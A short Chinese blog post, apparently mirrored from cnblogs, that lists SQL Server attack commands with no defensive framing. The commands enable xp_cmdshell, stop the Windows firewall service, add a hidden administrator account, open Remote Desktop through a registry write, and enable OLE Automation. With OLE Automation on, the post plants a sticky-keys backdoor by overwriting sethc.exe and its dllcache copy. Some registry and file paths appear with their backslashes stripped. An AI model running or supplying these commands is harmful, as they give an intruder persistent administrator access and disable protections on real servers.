zoukankan      html  css  js  c++  java
  • sql

    开启xp_cmdshell
    exec sp_configure 'show advanced options', 1;reconfigure;
    exec sp_configure 'xp_cmdshell',1;reconfigure;
    关闭xp_cmdshell
    exec sp_configure 'show advanced options', 1;reconfigure;
    exec sp_configure 'xp_cmdshell', 0;reconfigure

    关闭防火墙
    exec master..xp_servicecontrol 'stop','sharedaccess'

    打开防火墙
    exec master..xp_servicecontrol 'start','sharedaccess'

    添加账户
    exec master..xp_cmdshell 'net user cepo cepo123 /add' 添加用户test,密码test
    exec mast
    er..xp_cmdshell 'net localgroup administrators cepo /add' 添加test用户到管理员组

    开启3389的SQL语句:
    exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal Server','fDenyTSConnections','REG_DWORD',0;

    关闭3389的SQL语句:
    exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal Server','fDenyTSConnections','REG_DWORD',1;

    SQL Server 阻止了对组件 ‘Ole Automation Procedures’ 的 过程’sys.sp_OACreate’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘Ole Automation Procedures’。有关启用 ‘Ole Automation Procedures’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。
    EXEC sp_configure 'show advanced options', 1
    RECONFIGURE WITH OVERRIDE
    EXEC sp_configure 'Ole Automation Procedures', 1
    RECONFIGURE WITH OVERRIDE

    添加shift 5次后门;
    declare @o int
    exec sp_oacreate 'scripting.filesystemobject', @o out
    exec sp_oamethod @o, 'copyfile',null,'c:windowsexplorer.exe','c:windowssystem32sethc.exe';

    declare @o int
    exec sp_oacreate 'scripting.filesystemobject', @o out
    exec sp_oamethod @o, 'copyfile',null,'c:windowssystem32sethc.exe','c:windowssystem32dllcachesethc.exe';

  • 相关阅读:
    C++中char*,String,int,CString间转换
    获取本地MAC地址和多IP
    子窗口
    linux记录键盘
    curses和窗口
    使用curses函数写的hello world 程序
    Java 复习笔记
    Ubuntu apt install 下载软件很慢的解决办法
    Ubuntu python多个版本管理
    VMware下的Ubuntu16设置连接主机网络,设置主机下可以通过xshell访问 VMware下的Ubuntu
  • 原文地址:https://www.cnblogs.com/dxp5201/p/9633689.html
Copyright © 2011-2022 走看看